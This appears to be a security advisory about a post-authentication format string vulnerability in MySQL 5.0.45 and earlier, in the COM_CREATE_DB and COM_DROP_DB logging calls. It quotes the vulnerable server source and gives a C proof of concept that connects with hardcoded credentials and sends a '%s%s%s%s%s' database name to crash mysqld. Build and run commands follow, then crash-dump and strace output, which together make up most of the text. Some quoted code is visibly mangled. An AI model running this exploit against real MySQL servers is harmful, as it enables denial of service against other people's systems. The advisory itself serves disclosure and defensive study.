MySQL <= 5.0.45 post auth format string vulnerability

MySQL (tested: Version 5.0.45 on CentOS (Linux)) Format String Vulnerability

MySQL General Available (GA) Release is vulnerable.

Latest MySQL Version is not vulnerable since the bug if ifdef'ed off.

from mysql-5.0.75 source (mysql-5.0.75.tar.gz) in the file

libmysqld/sql_parse.cc

this source code is also included in mysql-4.0.0, mysql versions >=

4.0.0 are affected.

function prototype: write(THD *thd, enumenum_server_command command,

const char* format, ...)

function call: write(thd, command, packet);

on line 2084:

 case COM_CREATE_DB:                           // QQ: To be removed

   {

     char *db=thd->strdup(packet), *alias;

     HA_CREATE_INFO create_info;

     statistic_increment(thd->

status_var.com_stat[SQLCOM_CREATE_DB],

                         &LOCK_status);

     // null test to handle EOM

     if (!db || !(alias= thd->strdup(db)) || check_db_name(db))

     {

       my_error(ER_WRONG_DB_NAME, MYF(0), db ? db : "NULL");

       break;

     }

     if (check_access(thd,CREATE_ACL,db,0,1,0,is_schema_db(db)))

     [1] mysql_log.write(thd,command,packet);

     bzero(&create_info, sizeof(create_info));

     mysql_create_db(thd, (lower_case_table_names == 2 ? alias : db),

                     &create_info, 0);

     break;

   }

line 2105:

 case COM_DROP_DB:                             // QQ: To be removed

     statistic_increment(thd->status_var.com_stat[SQLCOM_DROP_DB],

     char *db=thd->strdup(packet);

     /*  null test to handle EOM */

     if (!db || check_db_name(db))

     if (check_access(thd,DROP_ACL,db,0,1,0,is_schema_db(db)))

     if (thd->locked_tables || thd->active_transaction())

       my_message(ER_LOCK_OR_ACTIVE_TRANSACTION,

                  ER(ER_LOCK_OR_ACTIVE_TRANSACTION), MYF(0));

     [2] mysql_log.write(thd,command,db);

     mysql_rm_db(thd, db, 0, 0);

at [1] and [2] there is a call to mysql_log.write() without

format string specifiers leading to a format string bug.

authentication is required.

COM_CREATE_DB and COM_DROP_DB are "legacy" code. Recent clients

does not use this functions to create and drop databases.

Older clients do. Even Newest GA version of mysqld is able to handle

the requests though.

mysql logging has to be enabled. it seems acls are enforced, so

create db or drop db privs may be required, though untested.

--> my.cnf at [mysqld] log=/var/log/mysql.log for example

PROOF OF CONCEPT WHICH CRASHES MYSQLD FOLLOWS

MYSQLD RESTARTS IMMEDIATELY

CAUSE: SIGNAL SEGV

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---snip---

#include <stdlib.h>

#include <stdio.h>

#define USE_OLD_FUNCTIONS

#include <mysql/mysql.h>

#define NullS           (char *) 0

int

main (int argc, char **argv)

{

 MYSQL *mysql = NULL;

 mysql = mysql_init (mysql);

 if (!mysql)

     puts ("Init faild, out of memory?");

     return EXIT_FAILURE;

 if (!mysql_real_connect (mysql,       /* MYSQL structure to use */

                          "localhost", /* server hostname or IP address */

                          "monty",      /* mysql user */

                          "montypython",  /* password */

                          NULL,      /* default database to use, NULL

for none */

                          0,   /* port number, 0 for default */

                          NULL,        /* socket file or named pipe name */

                          CLIENT_FOUND_ROWS /* connection flags */ ))

     puts ("Connect failed/n");

 else

     puts ("Connect OK/n");

//      mysql_create_db(mysql, "%s%s%s%s%s");

       simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

 mysql_close (mysql);

 return EXIT_SUCCESS;

}

reproduce:

$gcc mysql_format.c -o mysql_format -lmysqlclient

$./mysql_format %s%s%s%s%s

Debugging output follows - Crashdump and strace output

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Version: '5.0.45-log'  socket: '/var/lib/mysql/mysql.sock'  port: 3306

 Source distribution

090620  1:53:52 - mysqld got signal 11;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

We will try our best to scrape up some info that will hopefully help diagnose

the problem, but since we have already crashed, something is definitely wrong

and this may fail.

key_buffer_size=8388600

read_buffer_size=131072

max_used_connections=1

max_connections=100

threads_connected=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size +

sort_buffer_size)*max_connections = 225791 K

bytes of memory

Hope that's ok; if not, decrease some variables in the equation.

thd=0x8aea8a8

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong...

Cannot determine thread, fp=0xb038d7ec, backtrace may not be correct.

Stack range sanity check OK, backtrace follows:

0x8187393

0xb7be8afb

0x8208dc4

0x81a55e2

0x81a58b7

0x81a6487

0xb7e2a33a

0xb7c4b5ce

New value of fp=(nil) failed sanity check, terminating stack trace!

and follow instructions on how to resolve the stack trace. Resolved

stack trace is much more helpful in diagnosing the problem, so please do

resolve it

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort...

thd->query at (nil)  is invalid pointer

thd->thread_id=1

contains

information that should help you find out what is causing the crash.

Number of processes running now: 0

090620 01:53:52  mysqld restarted

090620  1:53:52  InnoDB: Started; log sequence number 0 4876777

090620  1:53:52 [Note] /usr/libexec/mysqld: ready for connections.

26454 futex(0x8a6ff90, FUTEX_WAIT, 1, NULL <unfinished ...>

26453 select(14, [11 13], NULL, NULL, NULL <unfinished ...>

26455 futex(0x8a70000, FUTEX_WAIT, 5, NULL <unfinished ...>

26456 futex(0x8a70070, FUTEX_WAIT, 3, NULL <unfinished ...>

26457 futex(0x8a700e0, FUTEX_WAIT, 1, NULL <unfinished ...>

26459 select(0, NULL, NULL, NULL, {0, 55000} <unfinished ...>

26460 select(0, NULL, NULL, NULL, {0, 953000} <unfinished ...>

26461 futex(0x872a630, FUTEX_WAIT, 1, NULL <unfinished ...>

26462 rt_sigtimedwait([HUP QUIT ALRM TERM TSTP],  <unfinished ...>

26463 futex(0x86e2044, FUTEX_WAIT, 1, NULL <unfinished ...>

26459 <... select resumed> )            = 0 (Timeout)

26459 time(NULL)                        = 1245456538

26459 select(0, NULL, NULL, NULL, {1, 0} <unfinished ...>

26460 <... select resumed> )            = 0 (Timeout)

26460 time(NULL)                        = 1245456538

26460 select(0, NULL, NULL, NULL, {2, 0} <unfinished ...>

26459 time(NULL)                        = 1245456539

26459 select(0, NULL, NULL, NULL, {1, 0}) = 0 (Timeout)

26459 time(NULL)                        = 1245456540

26460 time(NULL)                        = 1245456540

26459 time(NULL)                        = 1245456541

26459 time(NULL)                        = 1245456542

26460 time(NULL)                        = 1245456542

26459 time(NULL)                        = 1245456543

26459 time(NULL)                        = 1245456544

26460 time(NULL)                        = 1245456544

26459 time(NULL)                        = 1245456545

26459 time(NULL)                        = 1245456546

26460 time(NULL)                        = 1245456546

26459 time(NULL)                        = 1245456547

26453 <... select resumed> )            = 1 (in [13])

26453 fcntl64(13, F_SETFL, O_RDWR|O_NONBLOCK) = 0

26453 accept(13, {sa_family=AF_FILE, path="ÿ¿ "}, [2]) = 26

26453 fcntl64(13, F_SETFL, O_RDWR)      = 0

26453 getsockname(26, {sa_family=AF_FILE, path="/var/lib/mysql "}, [28]) = 0

26453 fcntl64(26, F_SETFL, O_RDONLY)    = 0

26453 fcntl64(26, F_GETFL)              = 0x2 (flags O_RDWR)

26453 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0

26453 setsockopt(26, SOL_IP, IP_TOS, [8], 4) = -1 EOPNOTSUPP

(Operation not supported)

26453 time(NULL)                        = 1245456547

26453 mmap2(NULL, 200704, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb035e000

26453 mprotect(0xb035e000, 4096, PROT_NONE) = 0

26453 clone(child_stack=0xb038e494,

flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,

parent_tidptr=0xb038ebd8, {entry_number:6, base_addr:0xb038eb90,

limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,

limit_in_pages:1, seg_not_present:0, useable:1},

child_tidptr=0xb038ebd8) = 16147

16147 time(NULL)                        = 1245456547

16147 rt_sigprocmask(SIG_UNBLOCK, [], [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0

16147 setsockopt(26, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0

16147 write(26, "8/0/0/0/n5.0.45-log/0/1/0/0/0]/mZZ46R/0,/242/300"..., 60) = 60

16147 read(26, 0x8b19ae0, 4)            = -1 EAGAIN (Resource

temporarily unavailable)

16147 rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1], [HUP INT QUIT PIPE ALRM

TERM TSTP], 8) = 0

16147 tgkill(26453, 26462, SIGALRM)     = 0

26462 <... rt_sigtimedwait resumed> 0, 0, 8) = 14

16147 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],

<unfinished ...>

26462 rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1],  <unfinished ...>

16147 <... rt_sigprocmask resumed> NULL, 8) = 0

26462 <... rt_sigprocmask resumed> [HUP INT QUIT PIPE ALRM TERM TSTP], 8) = 0

16147 fcntl64(26, F_SETFL, O_RDWR <unfinished ...>

26462 time( <unfinished ...>

16147 <... fcntl64 resumed> )           = 0

26462 <... time resumed> NULL)          = 1245456547

16147 read(26,  <unfinished ...>

26462 alarm(5)                          = 0

26462 rt_sigprocmask(SIG_SETMASK, [HUP INT QUIT PIPE ALRM TERM TSTP],

NULL, 8) = 0

16147 <... read resumed> "&/0/0/1", 4)  = 4

16147 read(26, "/207/242/0/0/0/0/0@/10/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0"...,

38) = 38

16147 fcntl64(26, F_SETFL, O_RDWR|O_NONBLOCK) = 0

16147 write(3, "090620  2:09:07/t      1 Connect "..., 55) = 55

16147 write(26, "/7/0/0/2/0/0/0/2/0/0/0", 11) = 11

16147 fcntl64(26, F_SETFL, O_RDWR)      = 0

16147 <... read resumed> "/v/0/0/0", 4) = 4

16147 read(26, "/5%s%s%s%s%s", 11)      = 11

16147 --- SIGSEGV (Segmentation fault) @ 0 (0) ---

16147 write(2, "090620  2:09:07 - mysqld got sig"..., 266) = 266

16147 write(2, "We will try our best to scrape u"..., 176) = 176

16147 write(2, "key_buffer_size=8388600/n", 24) = 24

16147 write(2, "read_buffer_size=131072/n", 24) = 24

16147 write(2, "max_used_connections=1/n", 23) = 23

16147 write(2, "max_connections=100/n", 20) = 20

16147 write(2, "threads_connected=1/n", 20) = 20

16147 write(2, "It is possible that mysqld could"..., 143) = 143

16147 write(2, "Hope that/'s ok; if not, decrease"..., 66) = 66

16147 write(2, "thd=0x8aea8a8/n", 14)   = 14

16147 write(2, "Attempting backtrace. You can us"..., 159) = 159

16147 write(2, "Cannot determine thread, fp=0xb0"..., 70) = 70

16147 write(2, "Stack range sanity check OK, bac"..., 48) = 48

16147 write(2, "0x8187393/n", 10)       = 10

16147 write(2, "0xb7be8afb/n", 11)      = 11

16147 write(2, "0x8208dc4/n", 10)       = 10

16147 write(2, "0x81a55e2/n", 10)       = 10

16147 write(2, "0x81a58b7/n", 10)       = 10

16147 write(2, "0x81a6487/n", 10)       = 10

16147 write(2, "0xb7e2a33a/n", 11)      = 11

16147 write(2, "0xb7c4b5ce/n", 11)      = 11

16147 write(2, "New value of fp=(nil) failed san"..., 68) = 68

"..., 222) = 222

16147 write(2, "Trying to get some variables./nSo"..., 90) = 90

16147 write(2, "thd->query at (nil) ", 20) = 20

16147 write(2, " is invalid pointer/n", 20) = 20

16147 write(2, "thd->thread_id=1/n", 17) = 17

"..., 139) = 139

16147 exit_group(1)                     = ?

26463 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26459 <... select resumed> )            = ? ERESTARTNOHAND (To be restarted)

26453 <... select resumed> )            = ? ERESTARTNOHAND (To be restarted)

26454 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26455 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26456 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26457 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26461 <... futex resumed> )             = -1 EINTR (Interrupted system call)

26460 <... select resumed> )            = ? ERESTARTNOHAND (To be restarted)